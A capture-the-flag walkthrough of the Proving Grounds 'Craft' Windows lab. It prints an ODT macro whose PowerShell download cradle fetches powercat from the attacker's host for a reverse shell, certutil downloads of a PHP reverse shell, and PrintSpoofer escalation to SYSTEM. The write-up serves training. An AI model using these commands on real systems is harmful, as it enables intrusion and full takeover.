the_open_door
coffee
ESEN

Craft

Proving Grounds PracticeMediumWindows192.168.123.1696 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#file-upload#libreoffice-macro#odt#powercat#xampp#apache#printspoofer#seimpersonate#user-pivoting#rce#oscp
TL;DR. Craft only exposes port 80 with a form that accepts ODT files. We upload a LibreOffice document with a Basic macro bound to the Open Document event that auto-runs and gives a shell as craft\thecybergeek (macro RCE). Since that user can write to XAMPP's htdocs, we drop a PHP that the Apache server executes and pivot to craft\apache (file upload). That service account holds SeImpersonatePrivilege, so PrintSpoofer (PrintSpoofer, Potato family) takes us to nt authority\system.

Recon#

Initial scan#

Craft's IP changes halfway through this writeup, and it is not a typo. Proving Grounds hands out a different address on every boot, and craft was booted three times: recon ran against 192.168.212.169, the first shell came back from 192.168.122.169, and all of the post-exploitation happened on 192.168.123.169, which is the one the machine itself reports in its ipconfig. Ours changed too, from 192.168.45.177 to 192.168.45.244. Every command carries the IP it had in front of it when it ran.

TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.212.169
64 bytes from 192.168.212.169: icmp_seq=1 ttl=125 time=... ms

The full sweep finds only one open port:


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.212.169 -oG scan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-17 19:19 +0000
Initiating SYN Stealth Scan at 19:19
Scanning 192.168.212.169 [65535 ports]
Discovered open port 80/tcp on 192.168.212.169
Completed SYN Stealth Scan at 19:20, 26.44s elapsed (65535 total ports)
Nmap scan report for 192.168.212.169
Host is up, received user-set (0.039s latency).
Scanned at 2026-01-17 19:19:39 UTC for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)

Out of 65535 ports, one: the rest come back filtered (no-response), which is a firewall dropping silently, not closed ports. The syn-ack ttl 125 is what confirms the TTL.

Against that single port we launch the version scan, and it fails:


nmap -p80 -sCV 192.168.212.169 -oN targetedScan
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-17 19:42 +0000
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.21 seconds

Without -Pn, nmap does its ICMP host discovery before scanning and declares the machine down. It is not that port 80 isn't there: craft simply doesn't answer pings at that moment, which is exactly what the message says. The whole attack surface is on 80, so we carry on with web enumeration.

HTTP - TCP 80#

We run dirsearch filtering out the useless status codes:


dirsearch -u http://192.168.212.169/ -t 200 --exclude-status=404,403,521,401,302,503
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11460

Target: http://192.168.212.169/

[19:42:45] Starting:
[19:42:46] 301 -  339B  - /js  ->  http://192.168.212.169/js/
[19:42:53] 301 -  343B  - /assets  ->  http://192.168.212.169/assets/
[19:42:53] 200 -    1KB - /assets/
[19:42:54] 200 -    2KB - /cgi-bin/printenv.pl
[19:42:55] 301 -  340B  - /css  ->  http://192.168.212.169/css/
[19:42:59] 200 -  981B  - /js/
[19:43:10] 200 -  537B  - /upload.php
[19:43:10] 200 -  777B  - /uploads/
[19:43:10] 301 -  344B  - /uploads  ->  http://192.168.212.169/uploads/

Task Completed

There's an /upload.php and a listable /uploads/ directory. The upload + serve combo is the classic file-upload RCE pattern, so we dig in.

Exploitation#

The form only accepts ODT#

The "Join Us" page is a résumé upload form. The first instinct is to upload a PHP webshell:

Form "Join our Team, Submit your resume" with rev.php selected and the Upload button

But the form rejects it: it validates the file type and requires an ODT document (the LibreOffice/OpenOffice Writer format):

upload.php replies "File is not valid. Please submit ODT file"

Asking for an ODT changes the vector. LibreOffice documents can embed Basic macros, and a macro bound to the open event runs on whoever opens the document. If a process on the server opens the uploaded ODTs, a macro gives us command execution (macro RCE).

Building the weaponized ODT#

We create an empty document and open it with LibreOffice Writer (the "Macros disabled" bar is just the default warning):


touch testt.odt
libreoffice testt.odt

Terminal creating testt.odt and LibreOffice Writer open with the "Macros disabled" bar

We open the macro editor via Tools > Macros > Edit Macros (the Organize Macros > Basic submenu):

LibreOffice Tools > Macros > Organize Macros > Basic menu

We create a new module inside the document itself (so it travels with the ODT):

Basic Macros dialog: the testt.odt document selected and the New button to create the module

And we write a Main routine that fires a reverse shell with powercat. The macro downloads powercat.ps1 in memory and opens the connection to our listener (this part ran from 192.168.45.177):

LibreOffice Basic editor with the macro: Sub Main / shell("cmd /c powershell IEX ... powercat -c 192.168.45.177 -p 135 -e powershell") / End Sub, in the command_injection module

Sub Main
    shell("cmd /c powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.177/powercat.ps1');powercat -c 192.168.45.177 -p 135 -e powershell")
End Sub

The piece that makes it auto-run is binding the macro to the Open Document event. The option is not where you would expect it: it does not hang off the macros submenu but off the bottom of the Tools menu, under Customize, the last entry before Options.

LibreOffice Writer's Tools menu open over testt.odt, with Customize highlighted at the end of the list, right below XML Filter Settings

From there, in Customize > Events we assign our Main macro (under testt.odt > command_injection) to the Open Document event: so the moment the server opens the ODT, the macro fires with no interaction:

Customize > Events dialog: the "Open Document" event selected and the Macro Selector assigning testt.odt > command_injection > Main

Upload the ODT and catch a shell#

We download powercat.ps1, serve it over HTTP and set an nc listener on 135:


wget https://raw.githubusercontent.com/besimorhino/powercat/refs/heads/master/powercat.ps1
2026-01-18 14:54:42 (16.2 MB/s) - ‘powercat.ps1’ saved [37667/37667]

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

rlwrap nc -nlvp 135
listening on [any] 135 ...

We upload testt.odt through the form:

Upload form with testt.odt selected

When the server process opens the document, the macro downloads powercat (the GET /powercat.ps1 200 shows on the server) and connects back to our listener. We get a shell as craft\thecybergeek:

192.168.122.169 - - [18/Jan/2026 14:56:11] "GET /powercat.ps1 HTTP/1.1" 200 -
connect to [192.168.45.177] from (UNKNOWN) [192.168.122.169] 50077

PS C:\Program Files\LibreOffice\program> whoami
craft\thecybergeek

Post-exploitation#

Local#

This is where the machine states its own IP, which is why the ipconfig goes with the flag: this session's address is no longer the one recon used.


type local.txt; ipconfig; whoami; hostname
577a248ea0686fac1d250145cee9e76a

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::808a:29ff:95e6:1746%5
   IPv4 Address. . . . . . . . . . . : 192.168.123.169
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.123.254
craft\thecybergeek
CRAFT

Pivot to apache: webshell in XAMPP's htdocs#

The thecybergeek user has no interesting privileges. Enumerating C:\Users we see an apache account, suggesting the web server runs under its own identity:


dir C:\Users


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/28/2021   3:53 AM                Administrator
d-----        7/13/2021   3:19 AM                apache
d-r---        5/28/2021   3:53 AM                Public
d-----        7/13/2021   3:35 AM                thecybergeek

dir C:\Users showing Administrator, apache, Public and thecybergeek

At the root of the disk is the XAMPP install, and its tree includes htdocs:


dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/18/2026   7:36 AM                freezeScript
d-----        7/13/2021   3:27 AM                java
d-----        5/28/2021   4:20 AM                PerfLogs
d-r---        7/13/2021   3:37 AM                Program Files
d-----        5/28/2021   3:53 AM                Program Files (x86)
d-r---        7/13/2021   3:35 AM                Users
d-----       10/14/2021   1:30 AM                Windows
d-----        5/28/2021   6:04 AM                Windows10Upgrade
d-----        7/13/2021   3:24 AM                xampp
-a----        1/18/2026   7:11 AM           2663 output.txt

We go down into that folder and list its contents, where htdocs is:


cd xampp

dir


    Directory: C:\xampp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:22 AM                apache
d-----        7/13/2021   3:22 AM                cgi-bin
d-----        7/13/2021   3:22 AM                contrib
d-----        7/13/2021   3:22 AM                FileZillaFTP
d-----        7/13/2021   3:18 AM                htdocs
d-----        7/13/2021   3:22 AM                install
...

dir C:\ showing the xampp folder, and dir C:\xampp with apache, htdocs, install...

C:\xampp\htdocs is the web root and is writable by our account. We list the directory and see the original upload.php next to uploads/:


dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----        1/18/2026   7:34 AM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----         7/7/2021   9:56 AM            835 upload.php

If we drop a PHP there, the Apache process runs it under its own service account. For the PHP reverse shell we reach for revshells.com with the PHP Ivan Sincek template and port 445:

revshells.com "Reverse Shell Generator": PHP Ivan Sincek, OS Windows, listener sudo nc -lvnp 445, IP 192.168.45.244

We save the template as rev.php and serve it over HTTP:


nano rev.php

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.123.169 - - [18/Jan/2026 16:03:17] "GET /rev.php HTTP/1.1" 200 -
192.168.123.169 - - [18/Jan/2026 16:03:17] "GET /rev.php HTTP/1.1" 200 -

and from the victim we pull it into htdocs, which is where Apache will run it:


certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php
PS C:\xampp\htdocs> certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php
certutil.exe -f -urlcache http://192.168.45.244/rev.php rev.php
****  Online  ****
CertUtil: -URLCache command completed successfully.

A dir confirms it landed, at 2,589 bytes:


dir
PS C:\xampp\htdocs> dir
dir


    Directory: C:\xampp\htdocs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----        1/18/2026   7:34 AM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----        1/18/2026   8:03 AM           2589 rev.php
-a----         7/7/2021   9:56 AM            835 upload.php

nano rev.php, certutil downloading rev.php to htdocs, "URLCache command completed successfully" and dir showing rev.php in C:\xampp\htdocs

We leave the listener on the port the template asks for:


rlwrap nc -nlvp 445

Visiting http://192.168.123.169/rev.php the server runs the code and our listener catches the connection as craft\apache:

rev.php run from the browser; the listener on 445 catches a shell and whoami returns craft\apache

listening on [any] 445 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.123.169] 50117
SOCKET: Shell has connected! PID: 684
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
craft\apache

Privesc: SeImpersonate + PrintSpoofer#

The apache service account does hold the privilege we were after:


whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeTcbPrivilege                Act as part of the operating system       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

systeminfo
Host Name:                 CRAFT
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-70000-00000-AA113
Original Install Date:     5/28/2021, 2:52:51 AM
System Boot Time:          11/16/2025, 3:04:47 AM
System Manufacturer:       VMware, Inc.
...

SeImpersonatePrivilege enabled is the Potato family entry: a service account with this privilege can impersonate the token of a SYSTEM process we coerce into connecting to a named pipe of ours (SeImpersonate abuse). On Server 2019, PrintSpoofer (repo) abuses the print spooler service to force that connection and usually works where JuicyPotato is already mitigated (PrintSpoofer). The binary was already on disk, in the exploits folder of another lab machine:


locate printspoofer.exe
/proving_grounds/nagoya/exploits/printspoofer.exe

cp /proving_grounds/nagoya/exploits/printspoofer.exe .

And it is served over HTTP from /tmp, which is where it was just copied:


python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

cd C:\Windows\Temp
certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
.\printspoofer.exe -i -c cmd
whoami
C:\xampp\htdocs>cd C:\Windows\Temp

C:\Windows\Temp>certutil.exe -f -urlcache -split http://192.168.45.244:8080/printspoofer.exe printspoofer.exe
****  Online  ****
  0000  ...
  6a00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp>.\printspoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Proof#


type proof.txt && ipconfig && hostname && whoami
d7ff8fe40201d014f2818bf9fc7e31d9

Windows IP Configuration


Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::808a:29ff:95e6:1746%5
   IPv4 Address. . . . . . . . . . . : 192.168.123.169
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.123.254
CRAFT
nt authority\system

Attack chain#

HTTP (80)  --  /upload.php accepts only ODT (rejects PHP)
        │  Basic macro bound to "Open Document" in the ODT -> powercat
        ▼
shell as craft\thecybergeek  (local.txt)
        │  C:\xampp\htdocs writable -> rev.php run by Apache
        ▼
shell as craft\apache
        │  SeImpersonatePrivilege Enabled -> PrintSpoofer
        ▼
nt authority\system  (proof.txt)

Lessons learned#

  • Validating the extension does not validate the content. The form rejected PHP and only accepted ODT, but an ODT is not harmless: it embeds macros that run when opened. Filtering by file type without considering what that type does leaves the door open.
  • Auto-execution lives in the event, not the macro. Writing the macro isn't enough; what weaponizes it is binding it to the Open Document event. That way the mere fact of the server opening the ODT fires the code with no interaction.
  • One host can hand out several identities. We went from thecybergeek to apache simply by dropping a file in htdocs that the web server runs under its own account. Writable paths served by a service are a classic pivot.
  • SeImpersonatePrivilege on service accounts = SYSTEM. Apache held it by design; PrintSpoofer turned it into full escalation. On Server 2019 it's the preferred variant over the already-mitigated JuicyPotato.
Command cheatsheet 12 commands

Quick review